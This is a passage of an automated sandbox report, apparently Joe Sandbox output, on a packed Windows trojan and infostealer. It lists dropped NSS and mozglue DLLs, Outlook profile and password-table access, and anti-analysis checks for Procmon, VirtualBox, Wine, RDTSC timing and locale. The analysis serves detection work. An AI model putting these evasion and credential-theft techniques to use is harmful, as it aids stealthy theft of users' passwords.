Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7A8D3	0_2_00B7A8D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B790C7	0_2_00B790C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7C02A	0_2_00B7C02A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B64854	0_2_00B64854
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1995A	0_2_00B1995A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6115A	0_2_00A6115A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B66295	0_2_00B66295
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B6EA50	0_2_00B6EA50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B6B3A8	0_2_00B6B3A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B70363	0_2_00B70363
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7DB48	0_2_00B7DB48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B6CEA5	0_2_00B6CEA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B67E2E	0_2_00B67E2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACEFB1	0_2_00ACEFB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B76F16	0_2_00B76F16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 007A45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 92 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 55 times

Source: file.exe, 00000000.00000002.2393875499.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jdnnncue ZLIB complexity 0.9951391755478836

Source: file.exe, 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2092148553.00000000051A0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_007B9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_007B3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\QS5ZW59B.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2393748867.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2393748867.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2393748867.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2393748867.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2393748867.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2393748867.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2213802130.000000001D90B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198288007.000000001D918000.00000004.00000020.00020000.00000000.sdmp, KFIJJEGHDAEBGCAKJKFH.0.dr, AFHIEBKKFHIEGCAKECGH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2379642026.000000001DA15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2393110990.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1862144 > 1048576

Source: file.exe

Static PE information: Raw size of jdnnncue is bigger than: 0x100000 < 0x1a0600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2393748867.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2393748867.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.7a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jdnnncue:EW;ljewnkhi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jdnnncue:EW;ljewnkhi:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_007B9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c9794 should be: 0x1c9dae

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jdnnncue
Source: file.exe	Static PE information: section name: ljewnkhi
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C5D0CD push ecx; mov dword ptr [esp], eax	0_2_00C5D0EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C5D0CD push 1F7E853Dh; mov dword ptr [esp], ebx	0_2_00C5D113
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3C0CC push 2F519EF9h; mov dword ptr [esp], edx	0_2_00C3C126
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push edx; mov dword ptr [esp], ebx	0_2_00B698D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 0D7FF08Ah; mov dword ptr [esp], ecx	0_2_00B69907
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 70C8342Ch; mov dword ptr [esp], edi	0_2_00B69924
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push edi; mov dword ptr [esp], edx	0_2_00B69A29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push esi; mov dword ptr [esp], edx	0_2_00B69B65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push edi; mov dword ptr [esp], 15B50B65h	0_2_00B69B6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 2C9CCC8Ah; mov dword ptr [esp], esi	0_2_00B69BDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push esi; mov dword ptr [esp], ecx	0_2_00B69C33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 7D8002A8h; mov dword ptr [esp], ebp	0_2_00B69C5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 4B4AAFA0h; mov dword ptr [esp], ebx	0_2_00B69CE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 003EF143h; mov dword ptr [esp], eax	0_2_00B69D93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 3C07EC33h; mov dword ptr [esp], edx	0_2_00B69DE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push edx; mov dword ptr [esp], ebx	0_2_00B69E0A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 63805C85h; mov dword ptr [esp], ecx	0_2_00B69E83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 17502B0Eh; mov dword ptr [esp], ecx	0_2_00B69EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 4501DB8Bh; mov dword ptr [esp], edx	0_2_00B69F64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 298DCEAAh; mov dword ptr [esp], ebx	0_2_00B69F6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push ecx; mov dword ptr [esp], 589E72A0h	0_2_00B69FA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 097DCC93h; mov dword ptr [esp], edx	0_2_00B69FE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 4F820BC8h; mov dword ptr [esp], edx	0_2_00B6A05C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push ebx; mov dword ptr [esp], 7D876FB6h	0_2_00B6A0E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push eax; mov dword ptr [esp], esp	0_2_00B6A19A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push esi; mov dword ptr [esp], ebx	0_2_00B6A202
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 6DE1018Ch; mov dword ptr [esp], edx	0_2_00B6A222
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 35C1DC69h; mov dword ptr [esp], eax	0_2_00B6A298
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push 5EDF8203h; mov dword ptr [esp], edi	0_2_00B6A2E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push ebp; mov dword ptr [esp], esi	0_2_00B6A345
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B698AD push ecx; mov dword ptr [esp], 75D2BA3Bh	0_2_00B6A375

Source: file.exe

Static PE information: section name: jdnnncue entropy: 7.954995793264939

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_007B9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-39757

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A020E4 second address: A020E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81A43 second address: B81A4F instructions: 0x00000000 rdtsc 0x00000002 js 00007F3F9CD6C876h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
